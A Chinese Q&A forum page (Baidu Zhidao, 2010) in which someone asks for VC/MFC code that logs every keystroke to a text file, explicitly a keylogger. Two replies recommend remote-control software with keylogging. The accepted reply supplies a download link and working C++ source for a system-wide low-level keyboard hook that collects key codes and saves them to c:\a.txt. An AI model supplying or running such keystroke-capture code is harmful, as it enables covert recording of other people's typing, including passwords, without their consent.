VC/MFC实现键盘按下的所有键记录保存到*.txt中

VC/MFC实现键盘按下的所有键记录保存到*.txt中就相当于一个键盘记录器,按下的每个键都保存下来求程序代码... VC/MFC实现键盘按下的所有键记录保存到*.txt中
就相当于一个键盘记录器,按下的每个键都保存下来
求程序代码
展开
 我来答
doupo0091
2010-12-16 · 超过14用户采纳过TA的回答
知道答主
回答量:64
采纳率:0%
帮助的人:23.6万
展开全部
网络人远程控制软件吧,现在大多用这个了。
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
百度网友7fec484a7
2010-12-15 · 超过73用户采纳过TA的回答
知道答主
回答量:276
采纳率:0%
帮助的人:213万
展开全部
网络人远程控制软件有键盘记录
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
qiujiejia
2010-12-06 · TA获得超过499个赞
知道小有建树答主
回答量:304
采纳率:0%
帮助的人:247万
展开全部
例子下载 (请不要直接使用迅雷下载)
http://cid-3ba16e78a53d2d3d.office.live.com/self.aspx/VC/record-keydown.zip
愿顺利 阿弥陀佛!

//兼容ANSI和UNICODE
#ifdef _UNICODE
#define __fopen _wfopen
#define __string wstring
#define __ostringstream wostringstream
#define __splitpath _wsplitpath
#else
#define __fopen fopen
#define __string string
#define __ostringstream ostringstream
#define __splitpath _splitpath
#endif

/****************************************************************************
string ItoString(int val) INT_TO_STR(X)
用于int值直接转TCHAR*
****************************************************************************/
static
__string _Int_to_String(int val)
{
TCHAR buffer[11];
_itot(val,buffer,10);
return __string(buffer);
}
#define INT_TO_STR(X) _Int_to_String(X).c_str()

/****************************************************************************
保存文件。(不支持Unicode)
****************************************************************************/
static
bool SaveFileString(const TCHAR* FilePath,__string& str)
{
FILE* fp = __fopen(FilePath, _T("wb"));
if (!fp)
return false;

return (str.size()==fwrite(str.c_str(),sizeof(TCHAR),str.size(),fp)) ?
( fclose(fp),true ) : ( fclose(fp),false ) ;
}

string text;

/****************************************************************************
低级键盘钩子
****************************************************************************/
HHOOK g_LowLevelKeyboardHook=NULL; //钩子句柄
LRESULT CALLBACK LowLevelKeyboardProc(int nCode,WPARAM wParam, LPARAM lParam)
{
if (nCode<0 )
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam);

if (wParam==WM_KEYDOWN)
{
int vkCode=((KBDLLHOOKSTRUCT*)lParam )->vkCode;

text+=INT_TO_STR(vkCode);
text+=_T(" "); //用空格隔开
// text+=_T("\r\n"); //用换行隔开
}
return CallNextHookEx(g_LowLevelKeyboardHook,nCode,wParam,lParam); //传递钩子信息
}

void CDemoDlg::OnButton1()
{
//start Low Level Keyboard hook
g_LowLevelKeyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL,LowLevelKeyboardProc,GetModuleHandle(NULL),0);
if(!g_LowLevelKeyboardHook)
::MessageBox(m_hWnd,TEXT("SetWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}

void CDemoDlg::OnButton2()
{
//stop Low Level Keyboard hook
if(!UnhookWindowsHookEx(g_LowLevelKeyboardHook))
::MessageBox(m_hWnd,TEXT("UnhookWindowsHookEx LowLevelKeyboardProc failed"),NULL,MB_OK);
}

void CDemoDlg::OnButton3()
{
SaveFileString(_T("c:\\a.txt"),text);
}
本回答被提问者和网友采纳
已赞过 已踩过<
你对这个回答的评价是?
评论 收起
收起 3条折叠回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式